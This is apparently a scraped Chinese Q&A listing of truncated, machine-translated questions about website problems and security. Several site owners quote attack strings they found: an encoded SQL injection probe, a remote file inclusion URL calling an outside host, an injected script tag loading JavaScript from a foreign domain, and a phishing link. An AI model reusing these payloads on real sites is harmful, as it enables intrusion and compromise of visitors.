1回答
我在Azure上发布了django网站。
但是我的负载时间很长，第一次加载时间可以是16-18秒，2-7秒之后。
我要查什么？
如果我需要改变设置？例如，debug=“真”
浏览 2提问于2016-01-04得票数 0
回答已采纳
最近我注意到我所有的站点都有xmlrpc.php文件。
搜索它让我找到了"利用XML实现WordPress的增益控制"，也找到了"德鲁巴核心-关键-多重漏洞-SA-核心-2016-001“。
我在查Drupal 7.56。
这个文件对我的网站构成任何威胁吗？为了安全起见，我应该删除它吗？
如果我保留它，它能给我带来什么额外的好处？
浏览 0提问于2017-08-31得票数 0
回答已采纳
可能重复：
我正在开发一个本地web应用程序。我需要获得访问网站的客户端PC的Mac id。该网站是本地的，所以我可以安装一些dll或库，但我仍然需要mac地址。我查了一下，但没有找到任何解决办法。请帮帮忙。
浏览 5提问于2012-05-03得票数 0
回答已采纳
2回答
我今天随机上了我的网站，碰巧注意到：
String.fromCharCode(67, 79, 78, 67, 65, 84, 95, 87, 83, 40, 67, 72, 65, 82, 40, 51, 50, 44, 53, 56, 44, 51, 50, 41, 44, 117, 115, 101, 114, 40, 41, 44, 100, 97, 116, 97, 98, 97, 115, 101, 40, 41, 44, 118, 101, 114, 115, 105, 111, 110, 40, 41, 41)
有人试图输入一条线。困惑，我查了一下，发现我能翻译它。
CONCAT
浏览 4提问于2015-09-01得票数 4
回答已采纳
1回答
不久前，我的电子邮件被偷了，我更改了密码。现在，自从一月份的大规模破门而入之后，我又查了一遍，我的电子邮件被发现是非法的，但是当我在密码列表中搜索时，却找不到我后来更改的密码。这是否意味着我的电子邮件不是第一次被第二次打开？在我看来，所有漏洞的邮件列表都是累积的，或者是否有一个被用来搜索某个特定的入侵数据库？
浏览 0提问于2019-02-03得票数 1
2回答
我把一个Drupal项目放在一个开源托管站点上。有什么文件我不能放在那里，这样我才不会损害我的网站的安全？
我想到了各种各样的settings.php。而且很明显，数据库本身不会在存储库中。还有什么危险的吗？
我在查Drupal 6号。
另外，最好以某种方式将数据库本身置于版本控制之下。知道怎么做吗？
UPDATE：如果我要转储db数据、加密它并对其进行版本化，该怎么办？
浏览 0提问于2010-06-11得票数 2
回答已采纳
我正在维护一个多用户博客网站在wordpress cms。我每天收到30/40篇文章，在年底的时候，它的平均数量大约是10k。每一篇文章都包含一个约140 at文件大小的特色图片。
该网站仍然是新的，只有几千个帖子。但我查了404报告。这很糟糕，每天在主域(https: // www.mysite.com)中大约有100 404次命中。共有150次点击。
注意:我使用cloudflare cdn。
为什么会这样？为什么我得到404在我的主要领域？有多少帖子wordpress能处理？(不是很大的帖子，avg 15行，还有一张特色照片。)
有人能启发我吗？
爱情
浏览 0提问于2020-07-21得票数 1
我有一个wordpress网站，最近很奇怪。似乎数据库有时会自动回滚几个小时。我注意到它至少发生了四次。
当我更新到wordpress 3.5时，过了一小段时间，也许30-60分钟，我注意到要升级的nag又回来了。我第二次运行了升级，尽管我确信我已经升级了。
我添加了一个新的类别，并在我的一个侧边栏上更改了一个小部件，结果发现我的更改在第二天就消失了，我不得不重新做它们。
昨天我又加了一个帖子，和它在不同的地方连在一起，几个小时后才回来，发现那个帖子不见了。我从记忆中重写了这篇文章，并把它放回到了网站上。
今天早上当我去这个网站的时候，原来的帖子回来了，而我从记忆中重新创造出来
浏览 1提问于2012-12-19得票数 1
我的网站最近遭到攻击，攻击者试图通过添加以下字符串来更改我的一条SQL语句
%2f%2fcomponents%2fcom%5fvirtuemart%2fshow%5fimage%5fin%5fimgtag%2ephp%3fmosConfig%5fabsolute%5fpath%3dhttp%3a%2f%2fwww%2ekwangsung%2ees%2ekr%2f%2fUserFiles%2fshirohige%2fzfxid%2etxt
设置为一个值。
不管怎样，我并没有使用PHP或者别的什么，但是，%3f%3f引起了一个问题:在MySQL的prepare语句调用中，双精度挂起。
以前有没有人
浏览 0提问于2009-08-11得票数 1
假设我们有一个合法的网站A和一个恶意网站B。
我正确地假设恶意站点B使用CSRF目标站点A，它需要专门为此目的创建？
这意味着这样的网站不能对其他网站C、D等发起CSRF攻击。
或者，攻击者是否可以创建一个网站，对用户目前在浏览器中打开的任何其他网站进行CSRF攻击？
浏览 0提问于2017-02-23得票数 0
回答已采纳
最近，我发现了一个具有以下代码的站点：
<link rel="dns-prefetch" href="//ajax.googleapis.com">
在查一查中，它说它习惯于Reduce DNS lookup time by pre-resolving at the browser.
所以我的问题是，除了(希望)让网站感觉更快，它有没有其他影响SEO或网站一般？
浏览 0提问于2014-06-19得票数 8
回答已采纳
我正在使用flvtbo youtube转换器，我必须启用javascript。
我看到一个来自"multiadblock.com“的广告，它试图引诱我下载一个铬扩展名，但我当然没有继续
在浏览之后，我注意到没有这样的扩展。
flvto甚至把我转到他们的网站上。它甚至没有加载(因为我禁用了javascript :p)
然而。我确实启用了javascript，让flvto弹出恶意广告。
关于这个网站到底包含了什么。显然这个网站是恶意的。
浏览 0提问于2021-02-28得票数 -4
哪些漏洞很常见，足以成为CVE？它是否只与“申请”S有关，或者网站也被接受?一个不受欢迎的网站(或本地服务)中的漏洞是否足够普遍？
浏览 0提问于2013-04-02得票数 10
回答已采纳
3回答
我是一个完整的网页设计初学者，我有一个问题：
目前正在开发本网站：
当我从正常模式进入响应模式，打开并关闭该菜单并再次回到正常模式时，该菜单将打印在页面的顶部。意思:响应菜单是可见的，没有所有的css。我想要的是完全适应的导航。这是我的单击函数的jQuerycode：
jQuery(document).ready(function () {
jQuery("#btn").click(function () {
jQuery("#navi2").slideToggle();
});
jQuery("#stln"
浏览 5提问于2015-11-18得票数 0
回答已采纳
我收到了这条据称来自英国NatWest银行的短信，但我从未与他们建立过账户，也从未向他们透露过任何细节：
我们的团队试图联系您有关您的在线帐户。通过安全链接http:// 103.208.86.131登录以避免帐户中断。
我查了一下给定IP的位置，它说它起源于新西兰。这是病毒还是其他类型的骗局？
浏览 0提问于2018-09-13得票数 3
回答已采纳
吉布森研究公司(GRC)的网站提供以下网页，并提供下载Truecrypt 7.1a的链接。
https://www.grc.com/misc/truecrypt/truecrypt.htm
我的问题是，这些下载是否值得信任？是否有办法确定下载的程序是否已从最初的7.1a版本中修改？
他们提供了一个链接到另一个网站与所有Truecrypt 7.1a文件的哈希，但我们如何知道我们是否也可以信任这个网站？
我不认为这与询问你能信任司机下载网站吗？是一样的，因为Truecrypt背后的历史是非常独特的，软件的原始开发人员删除了到7.1a版本的链接，现在只提供一个下载到不加密卷的被削减版本的软件。GRC
浏览 0提问于2016-10-29得票数 0
回答已采纳
1回答
是否可以为任何漏洞分配CVE编号？
对于像这样的漏洞：
http://seclists.org/fulldisclosure/2016/Apr/92
能给它分配一个CVE号码吗？(现在似乎没有CVE id了)
网站中的漏洞(比如Google.com)，而不是库中的漏洞呢？
浏览 0提问于2016-05-09得票数 -3
我发现了一个有以下错误的网站：
Notice: Undefined index: welcome in /var/www/html/blah/index.php on line 14
这是个弱点吗？
浏览 0提问于2018-04-13得票数 -1
回答已采纳
1回答
我有一些网站的认证过程，这是正常工作。但在新开发的网站上，超时时间太短了。它在我的本地是正确的，但在发布后，它重定向到登录页面后不到5分钟。我查一查
<authentication mode="Forms">
<forms loginUrl="~/Account/Login.aspx" timeout="200" slidingExpiration="true" />
</authentication>
还有这个
<sessionState timeout="200"/
浏览 3提问于2016-08-06得票数 0
回答已采纳
2回答
假设一个网站有两个漏洞：
信息披露
反射XSS
它们本身的影响在特定的网站上是有限的，但是当它们被链接在一起时，其影响就太高了(例如将钱转移到另一个帐户)。
怎样才是最合适的方法来展示这些弱点？
关于集思广益，我想说至少有三种选择：
只是有这两个漏洞，而不考虑链式影响。
将这两个漏洞合并为一个具有很大影响的漏洞。
有三个漏洞，最初的两个加上两个链接时受影响的关键功能。
第一个选项看起来不合适，第三个选项，列出一个额外的漏洞可能是多余的。第二个选项看起来不算太糟，但如果两个漏洞本身就很重要，那么这两个漏洞都有自己的位置可能更合适。
浏览 0提问于2019-12-11得票数 2
1回答
我已经创建了下拉菜单，但它不显示在主页上，因为它是在城市(我的网站页面)页面上工作，我已经按照这里的指示插入了一个图像：
但我还是不明白。能帮我查一查吗？
请谁来帮帮我。
浏览 6提问于2011-11-16得票数 0
回答已采纳
1回答
我已经创建了一个功能，发布网站，在Visual Studio到MOSS -此功能包含一个母版页，一些页面模板，一些网站栏(分组以匹配每个页面模板)和一些自定义列表模板等。
现在我已经升级了我的特性中的代码--我想要基于我的自定义列表模板创建一个ListInstance。当我升级了SharePoint (使用WSPBuilder)后，如果我创建了一个新的网站集，那么ListInstance和默认数据是可见的，但是现有的网站集不能获得ListInstance和数据。是否可以在升级时更新现有网站集以包含ListInstance？
浏览 1提问于2009-12-14得票数 2
回答已采纳
1回答
我的网站上有一个小程序。这是一个非常好的软件，但Java在启动时会显示恼人的警告。我如何证明它对访问者是安全的？有没有免费/便宜的服务？
浏览 1提问于2013-12-10得票数 0
我不确定这是不是一个信息安全或网站管理员的问题，而不是程序员，但我将看看我们如何处理。
我已经为一个特定的浏览器游戏建立了一个帮助网站的原型，我已经使帮助网站的布局简洁简洁，其馀的页面空间可以填充一个iframe，它将包含游戏本身，这样玩家也可以在我的网站上玩。
这样，玩家可以玩浏览器游戏，并可以访问所有的工具和信息，在我的帮助网站上的页面顶部。当然，帮助网站不与iframe内的游戏进行交互，其目的是提供与游戏相关的有用的参考和计算器。
我对iframes的安全性做了一些研究，以及因为同样的原产地政策，承载iframe的网站是如何不能干扰iframe的。我能想到的唯一的安全漏洞是玩家不确定真正
浏览 0提问于2015-02-12得票数 1
回答已采纳
我知道CloudFlare可以保护您的应用程序免受SQL和XSS注入等攻击。但是操作系统和web服务器呢？
例如，如果我的网站托管在IIS/Windows上，CloudFlare是否也可以保护我的服务器免受操作系统漏洞和/或IIS漏洞的攻击？
浏览 2提问于2015-12-29得票数 0
有一个网站，举办编码比赛的编码和安置。他们颁发证书，以赢得编码考试，或至少进入决赛轮。
我没有参加那次比赛，但我的朋友参加了。他把证书和它的链接贴在LinkedIn上。
我和用户在同一个编码平台上，点击证书链接并导航到证书页面，然后我在证书中看到了我的名字，而不是那个家伙。
嗯，我很快就进入了浏览器的匿名模式，制作了一个假的虚拟帐户，复制并粘贴了那个url，然后再次砰地一声，证书上显示了那个假名。
是那个编码平台上的错误吗？？有了这个我就有资格得到赏金了吗？
它的严重性是什么，知道它是编码和招聘平台？
在技术术语中，我应该如何称呼这个漏洞？
注意:当我从我的编码平台帐户登录，然后单击该链接，然
浏览 0提问于2019-11-11得票数 0
回答已采纳
可能重复: 你能不能只访问一个铬网站就能感染病毒？
我很难相信驱动下载实际上可以在没有用户帮助的情况下发生(例如，用户单击弹出窗口并下载程序)。
为了测试这一点，我已经安装了一个带有IE6的虚拟机(没有更新！)，但是后来我被卡住了--当我查看诺顿排名前100的最脏网站时，它们看起来都很干净(点击他们的报告显示他们没有被感染)。随后浏览了一对夫妇证实了这一点。
有可能下载驱动程序吗？有没有这样做的网站的简单证据/例子？
浏览 0提问于2012-01-09得票数 0
1回答
我们如何确定网站是否使用API？为了前夫。如果我想从特定的网站中删除一个数据来创建一个数据库，我应该检查该网站是否允许我销毁数据，还是该网站允许API？我该怎么查呢？
浏览 3提问于2022-02-07得票数 0
1回答
谁能建议一个网站或服务，这将允许我注册我的所有客户网站管理和监测他们的搜索引擎优化？
我查了一下有人建议的DIYSEO.com。这个网站上有什么评论吗？
浏览 0提问于2012-07-18得票数 1
1回答
有没有办法(或一个cPanel插件)，可以不断扫描网站的漏洞/恶意软件/漏洞从WHM或cPanel？
浏览 1提问于2013-03-29得票数 0
当人们在我的网站上发布链接时，我想确保他们链接的网站是活跃的，而不是死气沉沉的。我怎么查这个？
我想使用元数据或标题，但我不认为所有的网站都有这一点。
浏览 0提问于2011-09-09得票数 0
回答已采纳
我管理几十个网站的主机。从大约一个星期以来，我在index.php文件中的12个不同网站中找到了这段代码：
<script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of the actual javascript file differs
<!-- some hash here-->
有些网站是在不同的服务器上，有些不是。我只是想知道是否有其他人也看到了这一点。
使用更多信息编辑：
所有服务器都是centOS
浏览 0提问于2010-10-01得票数 0
2回答
今天早上我注意到我的网站上有一个可能的漏洞，我一点也不确定我的网站是否会被损坏，但是.
在我的网站上，我使用JavaScript代码打开(显示)主页内的不同部分(其他页面)；
在主index.php上，我有下面的代码，其中显示了其他页面：
头部：
<?php
$section = "default";
if (isset($_GET["page"]))
{
$section = $_GET["page"];
}
?>
在身体中：
<script type="text/javascript">
o
浏览 6提问于2015-08-30得票数 1
回答已采纳
我已经下载了我的网站/数据库，并在Centos 7服务器本地重新创建它。我想给它一个很好的锤击，以便找到和修复任何漏洞。有人能推荐一款能帮我完成这个功能的软件吗？开源就太棒了！
浏览 0提问于2016-09-27得票数 -5
几个月来我一直在努力解决这些问题。它是随机发生的，它只发生在Ubuntu上(12.04)。是关于我的托管公司网站的。
一些事实：
我可以按一下
我可以把它拖走
我可以挖出来
我可以查一查
但是每当我尝试用Chrome打开它，它就不会打开。我也尝试使用政治，但得到了同样的连接超时问题。
我是通过局域网网络连接，我没有遇到任何其他网站的问题。
除了点击/跟踪等等，我还缺少更精确的调试技术吗？
浏览 0提问于2013-06-27得票数 0
我的主机多个wordpress站点都遇到了安全问题。所有的网站都有不同的主题，在不同的服务器上，在不同的用户内部隔离。他们已经竞选了几个月，没有任何问题。然而，上周，他们中的一些人受到以下因素的影响：
将流量重定向到显示文件系统中奇怪/损坏文件的垃圾邮件，包括添加到.php文件(编码头)中的额外文件和内容--我们的云提供商发出了滥用警报:一家大银行联系了他们，称我们的IP地址被用来进行钓鱼攻击。服务器在PHP进程(非常高的负载、CPU和内存使用)方面运行得很高。
对此，我有：
一个月前，FilesChecked 从备份中复制了SQL和Wordpress文件，用官方的Wordpress 替换了整
浏览 6提问于2020-04-20得票数 0
我绝对不是安全专家。我拥有一个非常小的个人网站，我主要是为了练习而用php编写的。
我注意到日志里有个奇怪的url电话
process.php?d=MV0f+F6R+6Nn/B4VDh1FRJ9fSEjpPw==&b=1
我试着自己跟踪那个url，但它除了404之外什么也不去。
我不想从轨道上核爆我的网站。至少我可以采取哪些步骤来确定是否真的发生了任何事情。
这个网站是用symfony 4写的(不管它值多少钱)。
浏览 0提问于2019-09-26得票数 0
回答已采纳
我想为网站创建预订可用日历。我想用反应。你能帮我开发这个吗？我查了一些网站，但也许你能帮我。
谢谢你的帮助。
例子：
我希望我能找到解决办法。
浏览 5提问于2022-11-15得票数 0
我正在使用Java中的漏洞扫描器来检查允许使用弱密码套件连接的网站。因此，例如，我会尝试使用56位"SSL_DHE_RSA_WITH_DES_CBC_SHA“(或其他弱密码)连接，如果我得到200 OK，该网站是脆弱的。到目前为止，我的处境如下：
1- HttpURLConnection在默认密码中一直运行良好，但是如果我试图使用"System.setProperty()“来设置弱密码，我要么得到”密码不支持的异常“(对于大多数密码套件)，要么在我试图连接()时得到”拒绝连接“异常。我知道拒绝连接是我对那些不接受弱密码的网站的回答，但是我如何得到实际的http响应头(带有拒绝代
浏览 5提问于2011-02-23得票数 0
我想知道目前的访问者是否已经访问了一个特定的网站。该网站是由其他人拥有，并在一个不同的领域。
有办法吗？
浏览 0提问于2021-02-24得票数 1
回答已采纳
这是我的讲师在课程作业中告诉我的：
我们只考虑4×4矩阵。它们用于旋转、缩放或转换对象(或这些操作的任何组合)。在虚拟相机模型的实现中也使用了矩阵。如果你不知道向量变换和点变换之间的区别，那就查一查。
我似乎找不到答案，只为这个问题为这个网站做了一个解释。
浏览 0提问于2016-11-19得票数 11
2回答
每当浏览器想要加载Java时，都会出现一个对话框，请求我获得运行java applet的权限。无论我是否选中“记住此选项”选项，每当浏览器试图显示Java时，都会出现对话框，这令人恼火。
这里有一张图片显示了这一现象。
📷
这个恼人的权限对话框有什么解决方案吗？
提前谢谢你，
查利
浏览 0提问于2014-05-09得票数 5
我已在TrustWave上扫描了我的网站，以了解PCI的一致性，并发现了此错误。
Apache HTTP Server mod_session_dbd Session ID Reuse Vulnerability
我的网站运行在WindowsServer2008ApacheServer2.4.4上的R2企业上(在XAMPP上)
下面的链接是修复此问题的修补程序，但无法找到要编辑的文件的位置
http://svn.apache.org/viewvc/httpd/httpd/trunk/modules/session/mod_session_dbd.c?r1=1409170&r2=148
浏览 8提问于2013-11-19得票数 0
回答已采纳
出于某种原因，我的网站sudhir.in (不管有没有www)不会在浏览器中加载。
平图显示：
~$ ping sudhir.in
PING sudhir.in (209.217.227.45) 56(84) bytes of data.
64 bytes from static-45-227-217-209.nocdirect.com (209.217.227.45): icmp_req=1 ttl=45 time=237 ms
FTP可以工作，因为我能够登录。
AKS信息是我的主机提供商。
我问他们，他说在同一台服务器上的所有其他网站以及来自同一域名的主机提供商都在工作。请从你那边查一下。
浏览 0提问于2012-11-23得票数 -1
最近我遇到了一个网站，它生成一个随机的形容词，周围环绕着一个前缀和用户输入的后缀。例如，如果用户输入前缀为"123“，后缀为"789”，则可能会生成"123Productive789“。我一直在胡闹，我想我可以尝试一下。我将此输入前缀字段：
<a href="javascript:window.close();">Click</a><hr />
果然，我得到了链接，然后是一个<hr>，然后是一个随机形容词。我想知道的是，这会不会很危险？必须有更多的网站有这个问题，他们都容易受到某种形式的php注入吗？
浏览 0提问于2012-11-27得票数 0
回答已采纳
是否有可能利用一个应用程序中的漏洞攻击同一服务器上的另一个应用程序？
因此，根据上述问题的答案，当服务器上的一个网站易受远程执行的影响时，这意味着所有驻留在同一服务器上的网站都可能受到破坏。
因此，我想知道是否有人会故意创建一个带有此漏洞的网站。然后让托管提供商托管它。这样的主机提供商可能在一台服务器上有大约50个网站。
这会导致这个服务器上所有其他网站的妥协吗？如果没有，如何防止这种情况发生？如果是的话，怎样才能防止这种情况发生？
关于这个问题的讨论引出了一个关于预防这一问题的新问题：主机提供商如何防止一个网站的妥协导致另一个网站的妥协？
浏览 0提问于2018-05-30得票数 7
回答已采纳
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
对象存储
腾讯会议
实时音视频活动推荐
腾讯云开发者
